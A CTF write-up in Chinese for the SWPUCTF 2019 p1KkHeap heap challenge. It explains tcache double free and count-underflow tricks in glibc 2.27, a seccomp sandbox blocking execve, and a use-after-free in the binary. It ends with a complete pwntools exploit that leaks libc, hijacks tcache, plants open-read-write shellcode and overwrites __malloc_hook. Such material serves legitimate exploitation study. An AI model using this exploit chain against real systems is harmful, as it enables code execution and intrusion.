SWPUCTF_2019_p1KkHeap

SWPUCTF_2019_p1KkHeap

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

本题学习了新姿势,劫持tcache控制块,并且tcache_count无符号比较

先看tcache的源码,然后再分析本题(这里直接拿N1ch0l4s佬的解析了)(传送门)

// tcache结构定义中的部分代码
#if USE_TCACHE  
  /* Maximum number of buckets to use.  */  
  size_t tcache_bins;  
  size_t tcache_max_bytes;  
  /* Maximum number of chunks in each bucket.  */  
  size_t tcache_count; (注意这里是size_t,是unsigned类型) 
  /* Maximum number of chunks to remove from the unsorted list, which 
     aren't used to prefill the cache.  */  
  size_t tcache_unsorted_limit;  
#endif  

//从tcache中取出chunk的代码
/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->counts[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

// 往tcache中放入chunk时的代码
#if USE_TCACHE  
  {  
    size_t tc_idx = csize2tidx (size);  
  
    if (tcache  
    && tc_idx < mp_.tcache_bins  
    && tcache->counts[tc_idx] < mp_.tcache_count) 
    (注意这里将counts和tcache->counts相比,而tcache->counts是有符号的) 
      {  
    tcache_put (p, tc_idx);  
    return;  
      }  
  }  
#endif  

是无符号数跟有符号数大小比较,会将有符号数变成无符号数再两者比较,如果我们通过一些手段,将tcache_count,变成负数,我们释放掉的chunk就不会再放入tcache

回到本题

================================================================================
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x07 0x00 0x40000000  if (A >= 0x40000000) goto 0011
 0004: 0x15 0x06 0x00 0x0000003b  if (A == execve) goto 0011
 0005: 0x15 0x00 0x04 0x00000001  if (A != write) goto 0010
 0006: 0x20 0x00 0x00 0x00000024  A = count >> 32 # write(fd, buf, count)
 0007: 0x15 0x00 0x02 0x00000000  if (A != 0x0) goto 0010
 0008: 0x20 0x00 0x00 0x00000020  A = count # write(fd, buf, count)
 0009: 0x15 0x01 0x00 0x00000010  if (A == 0x10) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

开了一个沙盒,禁用了execve,也就是无法使用onegadget,只能使用orw把flag,write出来

在沙盒里面开辟了空间并且给出了7的权限

( mmap((void *)0x66660000, 0x1000uLL, 7, 34, -1, 0LL) != (void *)1717960704 )

只要我们在0x66660000写入shellcode,然后执行,通过malloc或者free执行

int ADD()
{
  int v1; // [rsp+4h] [rbp-Ch]
  size_t size; // [rsp+8h] [rbp-8h]

  printf("size: ");
  size = (int)READ();
  if ( size > 0x100 )
    BYEBYE();
  v1 = sub_DA9();
  if ( v1 <= 7 )
  {
    BSSMALLOC[v1] = malloc(size);
    BSSSIZE[v1] = size;
  }
  return puts("Done!");
}

只能申请不大于0x100的chunk,并且申请的chunk不能大于7

int DELE()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  if ( dword_202020 <= 0 )
    BYEBYE();
  printf("id: ");
  v1 = (int)READ();
  if ( v1 > 7 )
    BYEBYE();
  free((void *)BSSMALLOC[v1]);
  BSSSIZE[v1] = 0;
  --dword_202020;
  return puts("Done!");
}

dele这里,首先只能dele3次,然后存在uaf,只清空了存size的指针

int EDIT()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf("id: ");
  v1 = (int)READ();
  if ( v1 > 7 )
    BYEBYE();
  printf("content: ");
  read(0, *((void **)&BSSMALLOC + v1), BSSSIZE[v1]);
  return puts("Done!");
}

edit这里,因为我们dele会将BSSSIZE清空掉,所以我们必须得申请之后才能edit

int SHOW()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf("id: ");
  v1 = (int)READ();
  if ( v1 > 7 )
    BYEBYE();
  printf("content: ");
  puts((const char *)BSSMALLOC[v1]);
  return puts("Done!");
}

show这里,因为没清空掉指向chunk的指针,所以我们直接利用uaf,dele之后也能show出来,从而泄露libc等

思路

本题部署在libc-2.27,并且能使用tcache double free

利用tcache double free ,我们能将tcache的链表变成循环链表,并且能tcache_count变成负数

然后我们申请unsortedbin范围的chunk,dele掉即可获得libc

在此之中我们也能泄露得到heapbase,然后通过修改tcachefd,达到指向任意地址

然后通过写orw_shellcode,写至0x66660000

最后通过malloc_hookfree_hook执行0x66660000

exp:

from pwn import*
from Yapack import *
libc=ELF('libc.so.6')

context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",28206,"./pwn",0)
add(0x90)#0
dele(0)
dele(0)
show(0)
ru(b'content: ')
heap=u64(r.recv(6).ljust(8, b'\x00'))+0x90-0x260
li(heap)
add(0x90)#1
edit(1,p64(heap))
add(0x90)#2
add(0x90)#3 				#已经申请到tcache上面了
add(0x40)#4
dele(0)
show(0)
leak=get_addr_u64(b'content: ')-96-0x10-libc.sym["__malloc_hook"]
li(leak)
malloc=mallochook(leak)
edit(3,p64(0x66660000))		#<----------此时已经改好了
add(0x90)#5  				#将0x66660000申请过来

orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read('rax', 0x66660000 + 0x100, 0x30) + shellcraft.write(1, 0x66660000 + 0x100, 0x30))
edit(5,orw_shellcode)		#在0x66660000写入shellcode
edit(3,p64(malloc))			#再利用tcache的指针,把malloc_hook申请出来
add(0x90)#6
edit(6,p64(0x66660000))		#将malloc变成执行0x66660000
add(0)

ia()

箭头所指的地方,补图了解
在这里插入图片描述
这里已经将tcache所指向的的下一块地址改好了
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值